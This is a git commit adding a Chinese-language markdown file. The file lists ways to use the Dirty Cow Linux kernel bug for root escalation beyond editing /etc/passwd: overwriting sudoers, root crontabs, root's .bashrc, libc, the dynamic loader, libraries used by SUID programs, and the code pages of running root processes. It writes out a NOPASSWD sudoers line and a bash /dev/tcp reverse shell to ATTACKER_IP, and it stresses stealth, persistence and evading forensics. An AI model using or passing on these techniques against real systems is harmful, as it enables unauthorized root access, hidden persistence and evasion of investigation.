Add files via upload
This commit is contained in:
@@ -0,0 +1,54 @@
|
||||
### 除了修改 `/etc/passwd` 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权
|
||||
|
||||
**一、关键文件劫持**
|
||||
|
||||
直接修改 `/etc/passwd` 可能会留下明显的日志和入侵痕迹。以下这些文件提供更隐蔽的提权路径:
|
||||
|
||||
**1. 劫持 `sudoers` 文件或其配置片段**
|
||||
|
||||
- **目标:** `/etc/sudoers` 或 `/etc/sudoers.d/*` 下的任意配置文件
|
||||
- **攻击原理:** 利用 Dirty Cow 写入一行配置,允许当前低权限用户无需密码即可执行特定命令或所有命令 (`NOPASSWD: ALL`)
|
||||
- **Payload 示例:** 写入一行 `user ALL=(ALL) NOPASSWD: ALL`,其中 `user` 是我们当前的低权限用户名
|
||||
- **优点:** 相比于修改 `passwd` 文件,劫持 `sudoers` **无需重启**或等待登录,权限提升是**即时**的
|
||||
|
||||
**2. 劫持 Root 用户的定时任务 (Crontabs)**
|
||||
|
||||
- **目标:** `/var/spool/cron/crontabs/root` (在某些发行版上,如 Debian/Ubuntu) 或其他系统级别的 Crontab 文件(如 `/etc/crontab`)
|
||||
- **攻击原理:** 利用 Dirty Cow 写入一行定时任务,该任务将在下一次执行时以 Root 权限运行我们的 Payload(例如,反弹 Shell 或创建 SUID 文件)
|
||||
- **优点:** 提供**持久性**和**间接提权**。攻击载荷隐藏在定时任务中,不直接修改系统核心凭证文件
|
||||
|
||||
**3. 劫持 Shell 启动文件(持久化)**
|
||||
|
||||
- **目标:** Root 用户的 Shell 启动文件,如 `/root/.bashrc` 或 `/root/.profile`
|
||||
- **攻击原理:** 在这些文件中追加我们的恶意命令。当 Root 用户下一次登录并启动 Shell 时,我们的代码将被执行
|
||||
- **Payload 示例:** 写入一行 `bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1` (反弹 Root Shell)
|
||||
- **优点:** 实现了 **持久性**,利用的是用户正常的登录流程
|
||||
|
||||
****
|
||||
|
||||
**二、利用动态链接库 (Shared Libraries) 劫持**
|
||||
|
||||
这是更高级和更隐蔽的利用方法,旨在通过系统级的动态链接机制来触发 Root 权限代码执行。
|
||||
|
||||
**1. 劫持系统关键库函数**
|
||||
|
||||
- **目标:** **系统关键的动态链接库**,如 `/lib/x86_64-linux-gnu/libc.so.6` 或 `/lib/ld-linux.so.2`
|
||||
- **攻击原理:** 这是极其危险的利用。利用 Dirty Cow 覆盖这些库文件中**极小的、不常用的函数代码**,用我们的 Shellcode 替换它们。当任何以 Root 权限运行的程序调用到这个被劫持的函数时,我们的 Shellcode 就会以 Root 权限执行
|
||||
- **优点:** 隐蔽性极高,因为只修改了库中的极小片段,而非整个文件
|
||||
|
||||
**2. 劫持 SUID/SGID 程序的依赖库**
|
||||
|
||||
- **目标:** 任何以 Root 权限运行的 **SUID/SGID** 程序(如 `/bin/ping`, `/usr/bin/passwd` 等)所依赖的动态链接库
|
||||
- **攻击原理:** 利用 Dirty Cow 劫持这些 SUID 程序在运行时会加载的一个依赖库文件(例如,`libnss_files.so.2`)。在库中写入恶意代码,当 SUID 程序被执行时,它会加载并执行我们的恶意代码,从而获得 SUID 程序的权限(通常是 Root)
|
||||
|
||||
****
|
||||
|
||||
**三、内存区域劫持:即时提权**
|
||||
|
||||
Dirty Cow 的一个独特之处在于其对**内存区域**的劫持能力,这提供了即时提权的可能性
|
||||
|
||||
**1. 劫持 Root 进程的内存空间**
|
||||
|
||||
- **目标:** 任何当前正在运行的 **Root 进程**(例如,`sshd`、`crond`、`systemd`)
|
||||
- **攻击原理:** 尽管不能直接对整个进程内存进行操作,但可以通过读取该进程的 `/proc/[PID]/maps` 文件,找到其 **Text Segment (代码段)** 中映射的内存页。利用 Dirty Cow,覆盖该进程代码段中的某个不常用指令,用 `JMP` 或 Shellcode 替换,从而劫持进程的执行流程
|
||||
- **优点:** 提权是**即时**的,且不涉及任何文件的磁盘写入,**取证难度极高**
|
||||
Reference in New Issue
Block a user